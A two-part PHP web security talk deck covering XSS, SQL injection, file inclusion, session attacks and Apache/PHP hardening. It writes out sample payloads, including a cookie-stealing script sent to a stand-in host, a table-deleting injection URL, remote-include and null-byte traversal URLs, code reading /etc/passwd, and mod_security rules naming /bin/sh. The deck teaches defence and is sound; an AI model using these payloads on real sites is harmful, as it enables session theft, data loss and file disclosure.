3, 2, 1 ... gone

Web Application Security – Part I

Christian Wenz & Ben Ramsey

Agenda

1. Why?
2. How? (well-known attacks)
3. How? (not-so-well-known attacks)
4. Jailing Apache
5. “Hardening” Apache and PHP
6. safe_mode
7. Security by obscurity
8. PHP Security Consortium

Agenda

1. Why?
2. How? (well-known attacks)
3. How? (not-so-well-known attacks)
4. Jailing Apache
5. "Hardening" Apache and PHP
6. safe_mode
7. Security by obscurity
8. PHP Security Consortium

Web Security

- “Western European revenue for the security software market reached almost $2.5 billion in 2003.” [IDC04]

⇨Large amounts of money are spent to fight spyware, malware, DDoS, ...

... but ...

The Problem

… Lazy programmers are much more effective

- Mostly independent on the technology used!
- The "Outlaw group" fine-tuned a page on Microsoft.com – with a really common attack (www.microsoft.com/mspress/uk)
- This happened less than a year ago (May 2004) [ZoneH04]

Further Victims

- T-Com: A **lot** of bugs [Heise04a]
- TV „expert“ Huth [Heise04b]
- Various OSS, including Gallery, PhpBB, PostNuke, Serendipity, phpMyAdmin, ...

Is PHP insecure?

- That depends ☺
- Most of the following weaknesses do not depend on the software.
- So the problem is *not* PHP/ASP.NET/..., but the self-proclaimed great programmer – classical „PEBKAC“

Known Weaknesses

- OWASP
  - The Open Web Application Security Project
- 2004 Top Ten List [OWASP04]:
  1. [Lazy Programmer]
  2. [Lazy Programmer]
  …
  9. DoS
  10. Configuration issues

Our Goal

- What to do?
  - That's simple: No lazy programming
- Well – dumb questions deserve dumb answers

- A better approach:
  - Learn to think how the enemy thinks.

Structure of part I of this talk

- First: Bad code
- Second: Exploiting the bad code
- Third: Countermeasures

- No website is 100% secure, but getting to know the enemy is the first step towards that.

Agenda

1. Why?
2. How? (well-known attacks)
3. How? (not-so-well-known attacks)
4. Jailing Apache
5. "Hardening" Apache and PHP
6. safe_mode
7. Security by obscurity
8. PHP Security Consortium

Unchecked Input

- Problem: User input is not validated
- Scenario: Guestbook. Users enter Text ein, which is sent to the client verbatim 💣
- Attacks:
  - HTML markup
  - Very long words

Unchecked Input (2)

- Countermeasures: All Input Is Evil. [Howard]
  - Validate *all* input
  - Your webserver is the safe zone, everyhing else is the unsafe zone. Everything that crosses the border must be checked
  - Use `htmlspecialchars()` before sending dynamic content to the browser

Do we have a problem?

- Conference tool

```
if (user_is_authenticated()) {
    show_edit_form($_GET['id']);
}
```

Cross Site Request Forgeries

- Problem: „Our URLs tell for themselves, so no additional authentication necessary.“
- Scenario: Newsboard with role system. A user only sees the admin links that relate to his role 💣💣💣
- Attack: Create URLs manually

Cross Site Request Forgeries (2)

- Countermeasures:
  - Avoid parameters, if possible
    - Might be better for Google & Friends.
  - Try to use sessions for data
  - Expect the worst case: All data is manipulated
    - Check authorization
    - Sanity checks

Do we have a problem?

- PaFileDB

```
function jumpmenu($db, $pageurl,$pafiledb_sql,$str) {
      echo("<form name=\"form1\">
      <select name=\"menu1\"
onChange=\"MM_jumpMenu('parent',this,0)\"
class=\"forminput\">
      <option value=\"$pageurl\"
selected>$str[jump]</option>
      <option value=\"$pageurl\">----------</
option>");
```

.....

XSS (Cross Site Scripting)

- Problem: (Dangerous) script code is embedded into the output of a serverside script. Is then executed in the context of the page
- Scenario: Guestbook, again 💣
- Attacks:
  - `location.replace("http://badsite.xy/");`
  - `(new Image()).src="http://bad.xy/i.php?" + escape(document.cookie);`

XSS (Cross Site Scripting) (2)

- Countermeasures: Same procedure as every year: Validate, validate, validate ...
  - Validate data
  - `htmlspecialchars()`
  - Further/special checks for email addresses, numeric values, ...

XSS (Cross Site Scripting) (3)

- Why does XSS still exist?
  - User Experience vs. Security
  - Not all HTML shall be filtered
  - However most approaches are flawed.
    - Filter <script... 💣
    - Filter javascript: 💣
    - BBCode 💣
    - Any other ideas?

Do we have a problem?

- phpBB

```
$sql = "SELECT * FROM " . NOTES_TABLE .
   "WHERE post_id = ".$post_id.
   "AND poster_id = " . $userdata['user_id'] . " ";
   if (!$result = $db->sql_query($sql))
   {
      ...
   }
```

SQL Injection

- Problem: User input is embedded into SQL queries
- Scenario: CMS (Content Management System). The ID of an entry is passed in the URL:

```
$sql = "SELECT * FROM news WHERE id=" .
$_GET["id"]
```

- Attacks:
  - `xyz.php?id=1%27%3BDELETE+*+FROM+news`

SQL Injection (2)

- Counter measures: Once aagain: Validate all data
  - Filter special characters (', [,], %, _, …)
  - Use parametrised queries (depending on the database extension used)
  - Stored Procedures
    - SPs do not make the number of potential mistakes smaller, but only the number of potential programmers that could mess it up.

SQL Injection (3)

- Escaping special character with PHP
  - Depends on the database system
    - Sometimes, a backslash will do

```
INSERT INTO fastfood (name, mascot)
VALUES ('McDonald\'s', 'Ronald')
```

    - Sometimes doubling the quotes will do

```
INSERT INTO fastfood (name, mascot)
VALUES ('McDonald''s', 'Ronald')
```

SQL Injection (4)

DB	Escape Function	Prepared St.
MySQL	mysql_real_escape_string()	☑
MSSQL	addslashes()*	☑
SQLite	sqlite_escape_string()	☑
PostgreSQL	pg_escape_string()	☒
Oracle	---	☑

*with ini_set('magic_quotes_sybase', 1)

SQL Injection (5)

- Prepared statements
  - Faster
  - More secure

```
$stmt = mysqli_prepare($db, 'INSERT INTO fastfood
   (name, mascot) VALUES (?, ?)');

mysqli_stmt_bind_param($stmt, 'ss', $mcd,
   $ronald);

mysqli_stmt_execute($stmt);
```

Do we have a problem?

- Jack's FormMail.php

```
if (file_exists($ar_file)) {
    $fd = fopen($ar_file, "rb");
    $ar_message = fread($fd, filesize($ar_file));
    fclose($fd);
    mail_it($ar_message, ($ar_subject)?
   stripslashes($ar_subject):
   "RE: Form Submission",
   ($ar_from)?$ar_from:$recipient, $email);
}
```

- PHProjekt

```
include_once("$lib_path/access_form.inc.php");
```

File System Vulnerabilities

- Problem: User input is part of a filename that will be used
- Scenario: CMS (Content Management System). The name of the template is passed via URL:

```
include $_GET['template'] . '.tmpl';
```

- Attacks:
  - `cms.php?template=http://bad.xy/3733+.php`

File System Vulnerabilities (2)

- Countermeasures: Sanitize file names
  - Use `basename()`
  - Use `include_path`
  - Set `allow_url_fopen` to `Off`

Agenda

1. Why?
2. How? (well-known attacks)
3. How? (not-so-well-known attacks)
4. Jailing Apache
5. "Hardening" Apache and PHP
6. safe_mode
7. Security by obscurity
8. PHP Security Consortium

Session Fixation

- Problem: A Session is created and then “sent” to a user
- Scenario: Websites that protect sensitive data via sessions, e.g. Webmail 💣
- Attack:
  - `xyz.php?PHPSESSID=abc0815`

Session Fixation (2)

- Countermeasures:
  - Always call `session_regenerate_id()` when
    - A session is initialized
    - When a user is about to log in
    - Creates a new, „real“ Session-ID

Session Hijacking

- Problem: The session of the victim is „hijacked“
- Scenario: As before, e.g. Webmail
- Attacks:
  - „Send me the link, please“
  - Send the link, then look up `HTTP_REFERER`
  - Guess (promising only when combined with session fixation)

Session Hijacking (2)

- Countermeasures:
  - Many approaches, none is optimal
    - Tie session to IP address 
    - Use data from HTTP header for authentication
    - Set a session timeout.
    - Require extra login before “risky” operations (like ordering)

Forged cookies

- Problem: „Cookies are more secure than sessions, because the latter can be forged“ – not true. Cookies are sent as a part of the HTTP header, so they are (relatively) easy to forge
- Scenario: Website authenticates users, saves this information in a Cookie 💣
- Attack:
  - Forge cookie (if value is static or easy to guess)

Forged cookies (2)

- Countermeasures: Encrypt data in cookies
  - Never send unencrypted, simple data in cookies(„loggedin=true“ ← very bad idea)
  - User dynamic data in cookies verwenden (e.g. session ID), never a static value

Mail scripts

- Problem: Mail scripts are abused to send spam.
- Scenario: Feedback form 💣
- Attacks:
  - Recipient's email address in a hidden form field is not hidden at all.
  - Potential DoS by repeatedly calling the script.

Mail scripts (2)

- Countermeasures: Only humans may send the form
  - Never accept recipient's addresses from the client (or: use a whitelist)
  - CAPTCHAs (Turing tests) against automatic form submission [vonAhn03]
  - Solve accessibility issues with other means, for instance with audio CAPTCHAs

CAPTCHAs

- „Completely Automated Turing Test to Tell Computers and Humans Apart“
- Turing test: Is there a man or a machine at the other end of the wire.
- Is used more and more in the web.
  - Yahoo! was one of the early adaptors

Graphical CAPTCHAs

- Important rule:
  - Source code is open
- Most of the time, a graphic with some characters on it
- How?
  - DIY (GD2, ...)
  - Use existing solutions like Text_CAPTCHA or S9Y's spamblock plugin

Text_CAPTCHA

- Package Homepage
  - http://pear.php.net/Text_CAPTCHA
- API may change in the future
- Alternatives exist, with varying success

Screen Scraping

- Problem: Website is loaded with *wget* and then processed [HauWe01]
- Scenario: Current list of the least expensive gas stations
- Attack:
  - *wget* + RegEx

Screen Scraping (2)

- Countermeasures: Validate human beings :-)
  - CAPTCHAs, again
  - However horny users are an effective helper for attackers to overcome this.

Crack CAPTCHAs

- What six letter word is worse than bad and lazy programmers?
  - Libido

Conclusion

- The problem is always the same evil input is not sanitized, validated or fixed
- The “entry points“ of the data varies between attack types
- Better paranoid than offline

Sources

- [IDC04] IDC-Press Release (www.idc.com/getdoc.jsp?containerId=pr2004_04_22_210409)
- [HauWe01] Hauser, Wenz in c‘t (17/2001), S. 190-192
- [Heise04a] www.heise.de/newsticker/meldung/49424
- [Heise04b] www.heise.de/newsticker/meldung/49255
- [Howard03] Howard, LeBlanc, Writing Secure Code, 2. Auflage, MS Press 2003

Sources (2)

- [OWASP04] OWASP. The Open Web Application Security Project. www.owasp.org.
- [vonAhn03] von Ahn, Blum, Hopper and Langford. CAPTCHA: Using Hard AI Problems for Security. Eurocrypt 2003.
- [ZoneH04] MS Defacement (zone-h.org/en/?newseadid=4251/)

How do we continue?

- Now that our programmers are not lazy anymore but security-aware ...
- ... we help our administrators that they prevent attacks, too.
- See you after the break!

3, 2, 1 ... gone

Web Application Security - Part II

Christian Wenz & Ben Ramsey

Server-side Security

- Filesystem attack
- Jailing Apache
- “Hardening” Apache
- “Hardening” PHP
- Running in PHP’s safe_mode
- Tips for include files
- Security by obscurity

Filesystem Attack

```
<?php
$d = dir('/home');
while (($entry = $d->read()) !== FALSE) {
    echo $entry . "\n";
}
$d->close();
?>
```

- Not yet an attack, but...
- Can see all files ‘nobody’ user can see
- Can get information about these files

Filesystem Attack

```
<?php
$d = dir('/home/ramsey');
while (($entry = $d->read()) !== FALSE) {
    echo $entry . "\n";
    $fp = fopen("$d->path/$entry", 'r');
    $fstat = fstat($fp);
    fclose($fp);
    print_r(array_slice($fstat, 13));
}
$d->close();
?>
```

Filesystem Attack

```
<?php
$d = dir('/home/ramsey');
while (($entry = $d->read()) !== FALSE) {
    echo file_get_contents("$d->path/$entry");
}
$d->close();
?>
```

Filesystem Attack

```
<?php
echo file_get_contents('/etc/passwd');
?>
```

Jailing Apache

- Put Apache in a chroot jail
- Often requires moving around library files, modules, etc.
- A tedious and complicated process
- Introducing mod_chroot

What is mod_chroot?

- A static or dynamic module for Apache 1 or 2
- Allows you to place Apache in a “virtual” chroot jail
- Very little configuration

How does it work?

- Does not start Apache in the jail
- Starts Apache first, loads all the modules, and places the process in the jail after everything loads
- Blocks Apache from being able to browse the filesystem above the chroot'ed directory

Setting up mod_chroot

- Simple to install as a dynamic module, just run:

```
apxs -cia mod_chroot.c
```

- Simple to configure in `httpd.conf`:

```
ChrootDir /var/www
DocumentRoot /
```

mod_chroot Caveats

- Must be loaded first in Apache 1.x
- httpd.pid file must be in available from within the jail on Apache 2.x
- All users' Web directories must be in the jail
- Does not prevent user files from being seen/read

“Hardening” Apache

- mod_chroot blocks users from system files, but doesn’t provide any additional security functionality
- Apache doesn’t log data from POST requests
- Apache doesn’t buffer requests through a validation engine
- mod_security does

What is mod_security?

- An Apache module
- Offers the following features:
  - Request filtering
  - POST payload analysis
  - Paths and parameters normalized before analysis takes place
  - HTTPS filtering
  - Compressed content filtering

chroot with mod_security

- mod_security can set Apache to run in a root jail much in the same way as mod_chroot:

```
SecChrootDir /var/www
```

POST Filtering

- Can force POST requests to contain certain headers

```
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"
```

POST Filtering

- Can force POST variables to contain (or not contain) certain values

```
# Only for the FormMail script
<Location /cgi-bin/FormMail.pl>
 SecFilterSelective ARG_recipient "!@benramsey.com$"
</Location>
```

POST Filtering

- Can force POST requests to accept only certain IP addresses for certain values detected in POST content

```
SecFilterSelective ARG_username admin chain
SecFilterSelective REMOTE_ADDR "!^127.0.0.1$"
```

Prevent XSS Attacks

- mod_security can be used to prevent Cross-Site Scripting (XSS) attacks by restricting the use of specific tags

Prevent XSS Attacks

```
# Prevents JavaScript
SecFilter "<script"

# Prevents all HTML
SecFilter "<.+>"


# Allows HTML for a specific field in a script
<Location /path/to/form.php>
    SecFilterInheritance Off
    SecFilterSelective "ARGS|!ARG_body" "<.+>"
</Location>
```

Prevent SQL Injection

- mod_security can be used to prevent SQL injection in requests

```
SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space]]+into"
SecFilter "select.+from"
```

Prevent Shell Execution

- mod_security can be used to prevent execution from the shell or of operating system commands

```
# Detect shell command execution
SecFilter /bin/sh

# Prevent execution of commands from a directory
SecFilterSelective ARGS "bin/"
```

mod_security Caveats

- Apache will run slower & use more memory
- About a 10% speed difference
- Stores request data to memory in order to analyze it

“Hardening” PHP

- Hardened PHP is a patch to the PHP source code; apply before configuring and making PHP
- Here’s what it does:
  - Protects Zend Memory Manager with canaries
  - Protects Zend Linked Lists with canaries
  - Protects against internal format string exploits
  - Protects against arbitrary code inclusion
  - Syslog logging of attacker’s IP

Hardened PHP in php.ini

- Hardened PHP's `php.ini` directives:

```
; These are the default values
varfilter.max_request_variables   200
varfilter.max_varname_length       64
varfilter.max_value_length      10000
varfilter.max_array_depth         100
```

Hardened PHP & Includes

- Hardened PHP disallows any include filename that looks like a URL (and logs the attempt to syslog)

```
<?php
include $_GET['action'];

// Hardened PHP will not allow if 'action' is a URL
// (e.g. /script.php?action=http://example.org/
// bad-code.php)
?>
```

Hardened PHP & Uploads

- When `file_uploads` and `register_globals` are turned on, a POST file upload may be performed on a vulnerable script and the code included
- Hardened PHP does not allow uploaded files to be included

```
<?php
include $action;
?>
```

Null-byte Attacks

- Hardened PHP protects against null bytes planted within variables
- Consider the following code:

```
<?php
include "templates/".$_REQUEST['template'].".tmpl"?>

// A null byte code bypasses the .tmpl extension:
// script.php?template=../../../../../etc/passwd%00
?>
```

Overlong Filenames

- Hardened PHP will not allow filenames that are too long to be included because this could signal a buffer overflow attack
- Checks that the supplied filename given to the include statement does not exceed the max path length; if it does, it refuses to include it and logs the attack

Hardened PHP Caveats

- Speed impact due to increased cycles performed on sanity checks
- Memory impact due to addition of canaries
- Does not currently allow inclusion of any remote files
- Mainly developed on Linux, so may not work elsewhere

Running in PHP's `safe_mode`

- PHP's `safe_mode` tries to solve the shared-server security problem
- This "problem" should be handled from the Web server or OS level instead; but this doesn't mean `safe_mode` shouldn't be used
- Only applies to PHP scripts; all other scripts (e.g. Perl, etc.) are unaffected

Running in PHP's `safe_mode`

- Restricts user access to files they own (regardless of Web server user)
- Can set an executables directory
- Can set allowed/protected environment variables
- Can disable functions and classes
- Disables/restricts certain functions by default (i.e. `chdir()`, `dl()`, `shell_exec()`)

Running in PHP's `safe_mode`

- `open_basedir` is often thought of a `safe_mode` directive, but it may be used with `safe_mode` turned off
- `open_basedir` limits the files that PHP can open to a specific directory, essentially jailing PHP

Tips for Include Files

- Don't store files with names such as `foo.inc` in the Web root, as they can be read as plain text files
- In general, store all files not directly accessed by the browser outside the Web root (even `.php` files)
- No files should be accessed out of context, so don't give users a chance

Security by Obscurity

- Not a particularly effective means to security by itself, but okay as another line of defense

```
# Make Apache process other files through PHP engine
AddType application/x-httpd-php .html .py .pl .asp
```

For more information...

- **mod_chroot:** http://core.segfault.pl/~hobbit/mod_chroot
- **mod_security:** http://modsecurity.org
- **Hardened PHP:** http://hardened-php.net
- **safe_mode:** http://php.net/safe_mode

- **My Web site:** http://benramsey.com

Questions?